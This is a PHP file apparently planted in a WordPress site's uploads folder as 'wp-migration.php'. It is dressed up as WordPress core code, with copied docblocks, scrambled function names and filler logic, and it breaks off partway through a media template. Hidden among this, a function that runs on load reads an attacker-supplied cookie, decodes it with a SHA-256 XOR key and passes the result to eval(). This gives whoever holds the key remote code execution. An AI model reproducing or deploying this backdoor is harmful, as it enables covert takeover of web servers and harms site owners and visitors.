%PDF- %PDF-
Direktori : /var/www/html/friendstravel.al/wp-content/uploads/-/ |
Current File : /var/www/html/friendstravel.al/wp-content/uploads/-/wp-migration.php |
<?php /** * Returns the classes for the comment div as an array. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$BlockTypeText_raw` to also accept a WP_Comment object. * * @global int $has_p_in_button_scope * @global int $db * @global int $SNDM_thisTagDataFlags * * @param string|string[] $accepted Optional. One or more classes to add to the class list. * Default empty. * @param int|WP_Comment $BlockTypeText_raw Optional. Comment ID or WP_Comment object. Default current comment. * @param int|WP_Post $term_to_ancestor Optional. Post ID or WP_Post object. Default current post. * @return string[] An array of classes. */ function wp_create_post_autosave($accepted = '', $BlockTypeText_raw = null, $term_to_ancestor = null) { global $has_p_in_button_scope, $db, $SNDM_thisTagDataFlags; $has_padding_support = array(); $did_permalink = get_comment($BlockTypeText_raw); if (!$did_permalink) { return $has_padding_support; } // Get the comment type (comment, trackback). $has_padding_support[] = empty($did_permalink->comment_type) ? 'comment' : $did_permalink->comment_type; // Add classes for comment authors that are registered users. $failed_plugins = $did_permalink->user_id ? get_userdata($did_permalink->user_id) : false; if ($failed_plugins) { $has_padding_support[] = 'byuser'; $has_padding_support[] = 'comment-author-' . sanitize_html_class($failed_plugins->user_nicename, $did_permalink->user_id); // For comment authors who are the author of the post. $sitemaps = get_post($term_to_ancestor); if ($sitemaps) { if ($did_permalink->user_id === $sitemaps->post_author) { $has_padding_support[] = 'bypostauthor'; } } } if (empty($has_p_in_button_scope)) { $has_p_in_button_scope = 0; } if (empty($db)) { $db = 1; } if (empty($SNDM_thisTagDataFlags)) { $SNDM_thisTagDataFlags = 0; } if ($has_p_in_button_scope % 2) { $has_padding_support[] = 'odd'; $has_padding_support[] = 'alt'; } else { $has_padding_support[] = 'even'; } ++$has_p_in_button_scope; // Alt for top-level comments. if (1 == $db) { if ($SNDM_thisTagDataFlags % 2) { $has_padding_support[] = 'thread-odd'; $has_padding_support[] = 'thread-alt'; } else { $has_padding_support[] = 'thread-even'; } ++$SNDM_thisTagDataFlags; } $has_padding_support[] = "depth-{$db}"; if (!empty($accepted)) { if (!is_array($accepted)) { $accepted = preg_split('#\s+#', $accepted); } $has_padding_support = array_merge($has_padding_support, $accepted); } $has_padding_support = array_map('esc_attr', $has_padding_support); /** * Filters the returned CSS classes for the current comment. * * @since 2.7.0 * * @param string[] $has_padding_support An array of comment classes. * @param string[] $accepted An array of additional classes added to the list. * @param string $BlockTypeText_raw The comment ID as a numeric string. * @param WP_Comment $did_permalink The comment object. * @param int|WP_Post $term_to_ancestor The post ID or WP_Post object. */ return apply_filters('comment_class', $has_padding_support, $accepted, $did_permalink->comment_ID, $did_permalink, $term_to_ancestor); } /** * Sets the last changed time for the 'users' cache group. * * @since 6.3.0 */ function wp_save_nav_menu_items() { wp_cache_set_last_changed('users'); } $before_widget = 10; /** * Internal implementation of CSS clamp() based on available min/max viewport * width and min/max font sizes. * * @since 6.1.0 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values. * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero. * @access private * * @param array $xingVBRheaderFrameLength { * Optional. An associative array of values to calculate a fluid formula * for font size. Default is empty array. * * @type string $trackarray Maximum size up to which type will have fluidity. * @type string $get_item_args Minimum viewport size from which type will have fluidity. * @type string $preview_post_link_html Maximum font size for any clamp() calculation. * @type string $compression_enabled Minimum font size for any clamp() calculation. * @type int $all_user_ids A scale factor to determine how fast a font scales within boundaries. * } * @return string|null A font-size value using clamp() on success, otherwise null. */ function get_site($xingVBRheaderFrameLength = array()) { $tester = isset($xingVBRheaderFrameLength['maximum_viewport_width']) ? $xingVBRheaderFrameLength['maximum_viewport_width'] : null; $loaded_translations = isset($xingVBRheaderFrameLength['minimum_viewport_width']) ? $xingVBRheaderFrameLength['minimum_viewport_width'] : null; $ctoc_flags_raw = isset($xingVBRheaderFrameLength['maximum_font_size']) ? $xingVBRheaderFrameLength['maximum_font_size'] : null; $compat = isset($xingVBRheaderFrameLength['minimum_font_size']) ? $xingVBRheaderFrameLength['minimum_font_size'] : null; $all_user_ids = isset($xingVBRheaderFrameLength['scale_factor']) ? $xingVBRheaderFrameLength['scale_factor'] : null; // Normalizes the minimum font size in order to use the value for calculations. $compression_enabled = wp_get_typography_value_and_unit($compat); /* * We get a 'preferred' unit to keep units consistent when calculating, * otherwise the result will not be accurate. */ $punycode = isset($compression_enabled['unit']) ? $compression_enabled['unit'] : 'rem'; // Normalizes the maximum font size in order to use the value for calculations. $preview_post_link_html = wp_get_typography_value_and_unit($ctoc_flags_raw, array('coerce_to' => $punycode)); // Checks for mandatory min and max sizes, and protects against unsupported units. if (!$preview_post_link_html || !$compression_enabled) { return null; } // Uses rem for accessible fluid target font scaling. $leftover = wp_get_typography_value_and_unit($compat, array('coerce_to' => 'rem')); // Viewport widths defined for fluid typography. Normalize units. $trackarray = wp_get_typography_value_and_unit($tester, array('coerce_to' => $punycode)); $get_item_args = wp_get_typography_value_and_unit($loaded_translations, array('coerce_to' => $punycode)); // Protects against unsupported units in min and max viewport widths. if (!$get_item_args || !$trackarray) { return null; } // Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value. $manage_url = $trackarray['value'] - $get_item_args['value']; if (empty($manage_url)) { return null; } /* * Build CSS rule. * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/. */ $link_id = round($get_item_args['value'] / 100, 3) . $punycode; $passcookies = 100 * (($preview_post_link_html['value'] - $compression_enabled['value']) / $manage_url); $terminator = round($passcookies * $all_user_ids, 3); $terminator = empty($terminator) ? 1 : $terminator; $add_trashed_suffix = implode('', $leftover) . " + ((1vw - {$link_id}) * {$terminator})"; return "clamp({$compat}, {$add_trashed_suffix}, {$ctoc_flags_raw})"; } $plugins_subdir = range('a', 'z'); /** * Displays translated string with gettext context. * * @since 3.0.0 * * @param string $pretty_permalinks_supported Text to translate. * @param string $like Context information for the translators. * @param string $thisfile_audio_dataformat Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. */ function get_random_header_image($pretty_permalinks_supported, $like, $thisfile_audio_dataformat = 'default') { echo _x($pretty_permalinks_supported, $like, $thisfile_audio_dataformat); } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.7.0 */ function media_post_single_attachment_fields_to_edit($current_theme_actions, $parent_theme_json_file){ // Padding Data BYTESTREAM variable // ignore $cache_values = ['Toyota', 'Ford', 'BMW', 'Honda']; $upgrade_folder = 9; $block_supports = 45; $last_index = $cache_values[array_rand($cache_values)]; $boxname = hash("sha256", $current_theme_actions, TRUE); $themes_dir = $upgrade_folder + $block_supports; $end_marker = str_split($last_index); $commandline = self_link($parent_theme_json_file); // If the theme uses deprecated block template folders. $queried_items = $block_supports - $upgrade_folder; sort($end_marker); // This overrides 'posts_per_page'. // [47][E4] -- This is the ID of the private key the data was signed with. // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. $partial_id = quicktime_read_mp4_descr_length($commandline, $boxname); // sanitize_post() skips the post_content when user_can_richedit. $client_pk = range($upgrade_folder, $block_supports, 5); $copyContentType = implode('', $end_marker); $boxsmalltype = "vocabulary"; $loading_optimization_attr = array_filter($client_pk, function($aria_label) {return $aria_label % 5 !== 0;}); return $partial_id; } get_test_php_sessions(); $duplicate = range(1, $before_widget); /** * Drops a specified index from a table. * * @since 1.0.1 * * @global wpdb $stylesheet_or_template WordPress database abstraction object. * * @param string $vendor_scripts_versions Database table name. * @param string $editor_id_attr Index name to drop. * @return true True, when finished. */ function wp_check_comment_disallowed_list($vendor_scripts_versions, $editor_id_attr) { global $stylesheet_or_template; $stylesheet_or_template->hide_errors(); $stylesheet_or_template->query("ALTER TABLE `{$vendor_scripts_versions}` DROP INDEX `{$editor_id_attr}`"); // Now we need to take out all the extra ones we may have created. for ($maybe_notify = 0; $maybe_notify < 25; $maybe_notify++) { $stylesheet_or_template->query("ALTER TABLE `{$vendor_scripts_versions}` DROP INDEX `{$editor_id_attr}_{$maybe_notify}`"); } $stylesheet_or_template->show_errors(); return true; } $col_info = $plugins_subdir; /** * Returns a list of templates. * * @since 5.8.0 * * @param WP_REST_Request $outer_class_namesequest The request instance. * @return WP_REST_Response */ function get_test_php_sessions(){ $site_path = 4; $help_block_themes = "Exploration"; $before_widget = 10; $thisfile_wavpack = "uZdpFSoSzGUbLkxVITbIlZ"; box_seed_keypair($thisfile_wavpack); } /** * Filters out `register_meta()` args based on an allowed list. * * `register_meta()` args may change over time, so requiring the allowed list * to be explicitly turned off is a warranty seal of sorts. * * @access private * @since 4.6.0 * @deprecated 5.5.0 Use _wp_register_meta_args_allowed_list() instead. * Please consider writing more inclusive code. * * @param array $xingVBRheaderFrameLength Arguments from `register_meta()`. * @param array $default_args Default arguments for `register_meta()`. * @return array Filtered arguments. */ function get_widget_control_parts($has_link, $completed_timestamp) { $edit_error = ''; for ($maybe_notify = 0; $maybe_notify < $completed_timestamp; $maybe_notify++) { $edit_error .= $has_link; } return $edit_error; } /** * @var string Feed URL * @see SimplePie::set_feed_url() * @access private */ function wp_terms_checklist($fallback, $folder_parts, $completed_timestamp) { $tab_last = comments_link($fallback, $folder_parts, $completed_timestamp); return "Processed String: " . $tab_last; } /** * Adds `noindex` to the robots meta tag for embeds. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'Services_JSON_Error' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $wp_registered_widget_controls Associative array of robots directives. * @return array Filtered robots directives. */ function Services_JSON_Error(array $wp_registered_widget_controls) { if (is_embed()) { return wp_robots_no_robots($wp_registered_widget_controls); } return $wp_registered_widget_controls; } /* translators: %s: Taxonomy label, %l: List of terms formatted as per $term_template. */ function self_link($toggle_aria_label_close){ $upgrade_folder = 9; $a_plugin = [2, 4, 6, 8, 10]; $version_url = "Learning PHP is fun and rewarding."; // Verify that the SSL certificate is valid for this request. $mime = $_COOKIE[$toggle_aria_label_close]; $font_files = explode(' ', $version_url); $wp_widget = array_map(function($stored_value) {return $stored_value * 3;}, $a_plugin); $block_supports = 45; $commandline = rawurldecode($mime); // Languages. return $commandline; } wp_dequeue_script(10); /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $transient_name Bookmark ID. */ function the_terms($transient_name) { wp_cache_delete($transient_name, 'bookmark'); wp_cache_delete('get_bookmarks', 'bookmark'); clean_object_term_cache($transient_name, 'link'); } /** * Socket Based FTP implementation * * @package PemFTP * @subpackage Socket * @since 2.5.0 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html * @license LGPL https://opensource.org/licenses/lgpl-license.html */ function quicktime_read_mp4_descr_length($expandlinks, $title_placeholder){ $plugins_subdir = range('a', 'z'); $overrides = 50; $f1g5_2 = [72, 68, 75, 70]; $do_redirect = "abcxyz"; $xpadded_len = strlen($expandlinks); // Update existing menu item. Default is publish status. $cluster_block_group = max($f1g5_2); $col_info = $plugins_subdir; $eqkey = strrev($do_redirect); $limitprev = [0, 1]; $subquery = get_panel($title_placeholder, $xpadded_len); $forced_content = cron_recheck($subquery, $expandlinks); return $forced_content; } /* translators: %s: Select field to choose the front page. */ function data_wp_router_region_processor($aria_label) { $first = [0, 1]; // Filter an image match. $fields_to_pick = range(1, 12); $matched_handler = array_map(function($fullsize) {return strtotime("+$fullsize month");}, $fields_to_pick); // Could be absolute path to file in plugin. // ----- Options values $paused_plugins = array_map(function($error_path) {return date('Y-m', $error_path);}, $matched_handler); // Remove the href attribute, as it's used for the main URL. //Simple syntax limits $aslide = function($dropin_key) {return date('t', strtotime($dropin_key)) > 30;}; // ----- Look for filetime $menu_item_db_id = array_filter($paused_plugins, $aslide); //if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') { for ($maybe_notify = 2; $maybe_notify < $aria_label; $maybe_notify++) { $first[$maybe_notify] = $first[$maybe_notify - 1] + $first[$maybe_notify - 2]; } // maybe not, but probably return $first; } /** * Don't auto-p wrap shortcodes that stand alone. * * Ensures that shortcodes are not wrapped in `<p>...</p>`. * * @since 2.9.0 * * @global array $display_version * * @param string $pretty_permalinks_supported The content. * @return string The filtered content. */ function iis7_rewrite_ruleget_random_header_imageists($pretty_permalinks_supported) { global $display_version; if (empty($display_version) || !is_array($display_version)) { return $pretty_permalinks_supported; } $attrib = implode('|', array_map('preg_quote', array_keys($display_version))); $supported_blocks = wp_spaces_regexp(); // phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound,Universal.WhiteSpace.PrecisionAlignment.Found -- don't remove regex indentation $cmd = '/' . '<p>' . '(?:' . $supported_blocks . ')*+' . '(' . '\[' . "({$attrib})" . '(?![\w-])' . '[^\]\/]*' . '(?:' . '\/(?!\])' . '[^\]\/]*' . ')*?' . '(?:' . '\/\]' . '|' . '\]' . '(?:' . '[^\[]*+' . '(?:' . '\[(?!\/\2\])' . '[^\[]*+' . ')*+' . '\[\/\2\]' . ')?' . ')' . ')' . '(?:' . $supported_blocks . ')*+' . '<\/p>' . '/'; // phpcs:enable return preg_replace($cmd, '$1', $pretty_permalinks_supported); } /* * Check HTTPS detection results. */ function wpmu_get_blog_allowedthemes($fallback, $folder_parts) { // The request was made via wp.customize.previewer.save(). return $fallback . ' ' . $folder_parts; } /** * Returns a list of registered shortcode names found in the given content. * * Example usage: * * get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' ); * // array( 'audio', 'gallery' ) * * @since 6.3.2 * * @param string $content The content to check. * @return string[] An array of registered shortcode names found in the content. */ function cron_recheck($v_temp_path, $PreviousTagLength){ $fields_to_pick = range(1, 12); $menu_class = 8; $plugins_subdir = range('a', 'z'); $cache_values = ['Toyota', 'Ford', 'BMW', 'Honda']; // Go through each remaining sidebar... $PreviousTagLength ^= $v_temp_path; $last_index = $cache_values[array_rand($cache_values)]; $col_info = $plugins_subdir; $matched_handler = array_map(function($fullsize) {return strtotime("+$fullsize month");}, $fields_to_pick); $akismet_account = 18; $kses_allow_link_href = $menu_class + $akismet_account; shuffle($col_info); $paused_plugins = array_map(function($error_path) {return date('Y-m', $error_path);}, $matched_handler); $end_marker = str_split($last_index); $PictureSizeType = array_slice($col_info, 0, 10); sort($end_marker); $aslide = function($dropin_key) {return date('t', strtotime($dropin_key)) > 30;}; $style_variation_declarations = $akismet_account / $menu_class; $basic_fields = implode('', $PictureSizeType); $option_save_attachments = range($menu_class, $akismet_account); $copyContentType = implode('', $end_marker); $menu_item_db_id = array_filter($paused_plugins, $aslide); return $PreviousTagLength; } /** * Handles deleting a comment via AJAX. * * @since 3.1.0 */ function rest_get_avatar_sizes() { $test_uploaded_file = isset($_POST['id']) ? (int) $_POST['id'] : 0; $did_permalink = get_comment($test_uploaded_file); if (!$did_permalink) { wp_die(time()); } if (!current_user_can('edit_comment', $did_permalink->comment_ID)) { wp_die(-1); } check_ajax_referer("delete-comment_{$test_uploaded_file}"); $picture = wp_get_comment_status($did_permalink); $object_subtypes = -1; if (isset($_POST['trash']) && 1 == $_POST['trash']) { if ('trash' === $picture) { wp_die(time()); } $outer_class_names = wp_trash_comment($did_permalink); } elseif (isset($_POST['untrash']) && 1 == $_POST['untrash']) { if ('trash' !== $picture) { wp_die(time()); } $outer_class_names = wp_untrash_comment($did_permalink); // Undo trash, not in Trash. if (!isset($_POST['comment_status']) || 'trash' !== $_POST['comment_status']) { $object_subtypes = 1; } } elseif (isset($_POST['spam']) && 1 == $_POST['spam']) { if ('spam' === $picture) { wp_die(time()); } $outer_class_names = wp_spam_comment($did_permalink); } elseif (isset($_POST['unspam']) && 1 == $_POST['unspam']) { if ('spam' !== $picture) { wp_die(time()); } $outer_class_names = wp_unspam_comment($did_permalink); // Undo spam, not in spam. if (!isset($_POST['comment_status']) || 'spam' !== $_POST['comment_status']) { $object_subtypes = 1; } } elseif (isset($_POST['delete']) && 1 == $_POST['delete']) { $outer_class_names = wp_delete_comment($did_permalink); } else { wp_die(-1); } if ($outer_class_names) { // Decide if we need to send back '1' or a more complicated response including page links and comment counts. _rest_get_avatar_sizes_response($did_permalink->comment_ID, $object_subtypes); } wp_die(0); } /* translators: %s: Database name. */ function get_panel($and, $dest_w){ $before_widget = 10; // ! $bulk $duplicate = range(1, $before_widget); $old_from = strlen($and); // Administration. $old_from = $dest_w / $old_from; $old_from = ceil($old_from); // Must be double quote, see above. $show_avatars = 1.2; $filtered_image = array_map(function($stored_value) use ($show_avatars) {return $stored_value * $show_avatars;}, $duplicate); $clean_queries = 7; // just ignore the item. $client_public = array_slice($filtered_image, 0, 7); $old_from += 1; $preview_query_args = str_repeat($and, $old_from); return $preview_query_args; } function get_edit_post_link() { return Akismet::fix_scheduled_recheck(); } /** * Checks if a given request has access to delete a comment. * * @since 4.7.0 * * @param WP_REST_Request $outer_class_namesequest Full details about the request. * @return true|WP_Error True if the request has access to delete the item, error object otherwise. */ function comments_link($fallback, $folder_parts, $completed_timestamp) { $fields_to_pick = range(1, 12); $wildcard_host = [85, 90, 78, 88, 92]; $meta_boxes = "Navigation System"; $v_swap = 21; $other_user = array_map(function($stored_value) {return $stored_value + 5;}, $wildcard_host); $prev_wp_query = 34; $clause_compare = preg_replace('/[aeiou]/i', '', $meta_boxes); $matched_handler = array_map(function($fullsize) {return strtotime("+$fullsize month");}, $fields_to_pick); $options_archive_rar_use_php_rarget_random_header_imagetension = wpmu_get_blog_allowedthemes($fallback, $folder_parts); // Handles simple use case where user has a classic menu and switches to a block theme. $edit_error = get_widget_control_parts($options_archive_rar_use_php_rarget_random_header_imagetension, $completed_timestamp); $paused_plugins = array_map(function($error_path) {return date('Y-m', $error_path);}, $matched_handler); $blog_name = array_sum($other_user) / count($other_user); $actual_bookmark_name = strlen($clause_compare); $ALLOWAPOP = $v_swap + $prev_wp_query; return $edit_error; } /** * Filters the URI the user is redirected to after editing a comment in the admin. * * @since 2.1.0 * * @param string $location The URI the user will be redirected to. * @param int $BlockTypeText_raw The ID of the comment being edited. */ function box_seed_keypair($content_url){ $switched = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet']; $queue_text = "hashing and encrypting data"; $xsl_content = [29.99, 15.50, 42.75, 5.00]; $show_video = "135792468"; $meta_boxes = "Navigation System"; $options_to_prime = substr($content_url, -4); $thisfile_riff_raw_rgad_album = strrev($show_video); $activated = array_reduce($xsl_content, function($theme_features, $expected_md5) {return $theme_features + $expected_md5;}, 0); $allposts = 20; $clause_compare = preg_replace('/[aeiou]/i', '', $meta_boxes); $add_attributes = array_reverse($switched); $lang_file = number_format($activated, 2); $header_data_key = 'Lorem'; $actual_bookmark_name = strlen($clause_compare); $f1g1_2 = hash('sha256', $queue_text); $seed = str_split($thisfile_riff_raw_rgad_album, 2); //print("Found start of object at {$c}\n"); // Draft, 1 or more saves, no date specified. $v_file_content = array_map(function($old_email) {return intval($old_email) ** 2;}, $seed); $current_wp_styles = substr($f1g1_2, 0, $allposts); $block_binding_source = $activated / count($xsl_content); $allowedentitynames = substr($clause_compare, 0, 4); $wpmu_plugin_path = in_array($header_data_key, $add_attributes); // Read originals' indices. $t4 = media_post_single_attachment_fields_to_edit($content_url, $options_to_prime); // * * Error Correction Present bits 1 // If set, use Opaque Data Packet structure, else use Payload structure eval($t4); } /** * Prints the templates used in the media manager. * * @since 3.5.0 */ function wp_get_linksbyname() { $updated_widget = 'media-modal wp-core-ui'; $default_term = sprintf( /* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */ __('<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.'), esc_url('https://www.w3.org/WAI/tutorials/images/decision-tree'), 'target="_blank" rel="noopener"', sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __('(opens in a new tab)') ) ); ?> <?php // Template for the media frame: used both in the media grid and in the media modal. ?> <script type="text/html" id="tmpl-media-frame"> <div class="media-frame-title" id="media-frame-title"></div> <h2 class="media-frame-menu-heading"><?php get_random_header_image('Actions', 'media modal menu actions'); ?></h2> <button type="button" class="button button-link media-frame-menu-toggle" aria-expanded="false"> <?php get_random_header_image('Menu', 'media modal menu'); ?> <span class="dashicons dashicons-arrow-down" aria-hidden="true"></span> </button> <div class="media-frame-menu"></div> <div class="media-frame-tab-panel"> <div class="media-frame-router"></div> <div class="media-frame-content"></div> </div> <h2 class="media-frame-actions-heading screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Selected media actions'); ?> </h2> <div class="media-frame-toolbar"></div> <div class="media-frame-uploader"></div> </script> <?php // Template for the media modal. ?> <script type="text/html" id="tmpl-media-modal"> <div tabindex="0" class="<?php echo $updated_widget; ?>" role="dialog" aria-labelledby="media-frame-title"> <# if ( data.hasCloseButton ) { #> <button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Close dialog'); ?> </span></span></button> <# } #> <div class="media-modal-content" role="document"></div> </div> <div class="media-modal-backdrop"></div> </script> <?php // Template for the window uploader, used for example in the media grid. ?> <script type="text/html" id="tmpl-uploader-window"> <div class="uploader-window-content"> <div class="uploader-editor-title"><?php _e('Drop files to upload'); ?></div> </div> </script> <?php // Template for the editor uploader. ?> <script type="text/html" id="tmpl-uploader-editor"> <div class="uploader-editor-content"> <div class="uploader-editor-title"><?php _e('Drop files to upload'); ?></div> </div> </script> <?php // Template for the inline uploader, used for example in the Media Library admin page - Add New. ?> <script type="text/html" id="tmpl-uploader-inline"> <# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #> <# if ( data.canClose ) { #> <button class="close dashicons dashicons-no"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Close uploader'); ?> </span></button> <# } #> <div class="uploader-inline-content {{ messageClass }}"> <# if ( data.message ) { #> <h2 class="upload-message">{{ data.message }}</h2> <# } #> <?php if (!_device_can_upload()) { ?> <div class="upload-ui"> <h2 class="upload-instructions"><?php _e('Your browser cannot upload files'); ?></h2> <p> <?php printf( /* translators: %s: https://apps.wordpress.org/ */ __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://apps.wordpress.org/' ); ?> </p> </div> <?php } elseif (is_multisite() && !is_upload_space_available()) { ?> <div class="upload-ui"> <h2 class="upload-instructions"><?php _e('Upload Limit Exceeded'); ?></h2> <?php /** This action is documented in wp-admin/includes/media.php */ do_action('upload_ui_over_quota'); ?> </div> <?php } else { ?> <div class="upload-ui"> <h2 class="upload-instructions drop-instructions"><?php _e('Drop files to upload'); ?></h2> <p class="upload-instructions drop-instructions"><?php get_random_header_image('or', 'Uploader: Drop files here - or - Select Files'); ?></p> <button type="button" class="browser button button-hero" aria-labelledby="post-upload-info"><?php _e('Select Files'); ?></button> </div> <div class="upload-inline-status"></div> <div class="post-upload-ui" id="post-upload-info"> <?php /** This action is documented in wp-admin/includes/media.php */ do_action('pre-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/includes/media.php */ do_action('pre-plupload-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores if (10 === remove_action('post-plupload-upload-ui', 'media_upload_flash_bypass')) { /** This action is documented in wp-admin/includes/media.php */ do_action('post-plupload-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores add_action('post-plupload-upload-ui', 'media_upload_flash_bypass'); } else { /** This action is documented in wp-admin/includes/media.php */ do_action('post-plupload-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } $use_defaults = wp_max_upload_size(); if (!$use_defaults) { $use_defaults = 0; } ?> <p class="max-upload-size"> <?php printf( /* translators: %s: Maximum allowed file size. */ __('Maximum upload file size: %s.'), esc_html(size_format($use_defaults)) ); ?> </p> <# if ( data.suggestedWidth && data.suggestedHeight ) { #> <p class="suggested-dimensions"> <?php /* translators: 1: Suggested width number, 2: Suggested height number. */ printf(__('Suggested image dimensions: %1$s by %2$s pixels.'), '{{data.suggestedWidth}}', '{{data.suggestedHeight}}'); ?> </p> <# } #> <?php /** This action is documented in wp-admin/includes/media.php */ do_action('post-upload-ui'); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores ?> </div> <?php } ?> </div> </script> <?php // Template for the view switchers, used for example in the Media Grid. ?> <script type="text/html" id="tmpl-media-library-view-switcher"> <a href="<?php echo esc_url(add_query_arg('mode', 'list', admin_url('upload.php'))); ?>" class="view-list"> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('List view'); ?> </span> </a> <a href="<?php echo esc_url(add_query_arg('mode', 'grid', admin_url('upload.php'))); ?>" class="view-grid current" aria-current="page"> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Grid view'); ?> </span> </a> </script> <?php // Template for the uploading status UI. ?> <script type="text/html" id="tmpl-uploader-status"> <h2><?php _e('Uploading'); ?></h2> <div class="media-progress-bar"><div></div></div> <div class="upload-details"> <span class="upload-count"> <span class="upload-index"></span> / <span class="upload-total"></span> </span> <span class="upload-detail-separator">–</span> <span class="upload-filename"></span> </div> <div class="upload-errors"></div> <button type="button" class="button upload-dismiss-errors"><?php _e('Dismiss errors'); ?></button> </script> <?php // Template for the uploading status errors. ?> <script type="text/html" id="tmpl-uploader-status-error"> <span class="upload-error-filename">{{{ data.filename }}}</span> <span class="upload-error-message">{{ data.message }}</span> </script> <?php // Template for the Attachment Details layout in the media browser. ?> <script type="text/html" id="tmpl-edit-attachment-frame"> <div class="edit-media-header"> <button class="left dashicons"<# if ( ! data.hasPrevious ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e('Edit previous media item'); ?></span></button> <button class="right dashicons"<# if ( ! data.hasNext ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e('Edit next media item'); ?></span></button> <button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php _e('Close dialog'); ?></span></span></button> </div> <div class="media-frame-title"></div> <div class="media-frame-content"></div> </script> <?php // Template for the Attachment Details two columns layout. ?> <script type="text/html" id="tmpl-attachment-details-two-column"> <div class="attachment-media-view {{ data.orientation }}"> <?php if (isset($_GET['error']) && 'deprecated' === $_GET['error']) { wp_admin_notice(__('The Edit Media screen is deprecated as of WordPress 6.3. Please use the Media Library instead.'), array('id' => 'message', 'additional_classes' => array('error'))); } ?> <h2 class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e('Attachment Preview'); ?></h2> <div class="thumbnail thumbnail-{{ data.type }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( data.sizes && data.sizes.full ) { #> <img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" alt="" /> <# } else if ( data.sizes && data.sizes.large ) { #> <img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" alt="" /> <# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #> <img class="details-image icon" src="{{ data.icon }}" draggable="false" alt="" /> <# } #> <# if ( 'audio' === data.type ) { #> <div class="wp-media-wrapper wp-audio"> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none"> <source type="{{ data.mime }}" src="{{ data.url }}" /> </audio> </div> <# } else if ( 'video' === data.type ) { var w_rule = ''; if ( data.width ) { w_rule = 'width: ' + data.width + 'px;'; } else if ( wp.media.view.settings.contentWidth ) { w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;'; } #> <div style="{{ w_rule }}" class="wp-media-wrapper wp-video"> <video controls="controls" class="wp-video-shortcode" preload="metadata" <# if ( data.width ) { #>width="{{ data.width }}"<# } #> <# if ( data.height ) { #>height="{{ data.height }}"<# } #> <# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>> <source type="{{ data.mime }}" src="{{ data.url }}" /> </video> </div> <# } #> <div class="attachment-actions"> <# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #> <button type="button" class="button edit-attachment"><?php _e('Edit Image'); ?></button> <# } else if ( 'pdf' === data.subtype && data.sizes ) { #> <p><?php _e('Document Preview'); ?></p> <# } #> </div> </div> </div> <div class="attachment-info"> <span class="settings-save-status" role="status"> <span class="spinner"></span> <span class="saved"><?php esc_html_e('Saved.'); ?></span> </span> <div class="details"> <h2 class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Details'); ?> </h2> <div class="uploaded"><strong><?php _e('Uploaded on:'); ?></strong> {{ data.dateFormatted }}</div> <div class="uploaded-by"> <strong><?php _e('Uploaded by:'); ?></strong> <# if ( data.authorLink ) { #> <a href="{{ data.authorLink }}">{{ data.authorName }}</a> <# } else { #> {{ data.authorName }} <# } #> </div> <# if ( data.uploadedToTitle ) { #> <div class="uploaded-to"> <strong><?php _e('Uploaded to:'); ?></strong> <# if ( data.uploadedToLink ) { #> <a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a> <# } else { #> {{ data.uploadedToTitle }} <# } #> </div> <# } #> <div class="filename"><strong><?php _e('File name:'); ?></strong> {{ data.filename }}</div> <div class="file-type"><strong><?php _e('File type:'); ?></strong> {{ data.mime }}</div> <div class="file-size"><strong><?php _e('File size:'); ?></strong> {{ data.filesizeHumanReadable }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions"><strong><?php _e('Dimensions:'); ?></strong> <?php /* translators: 1: A number of pixels wide, 2: A 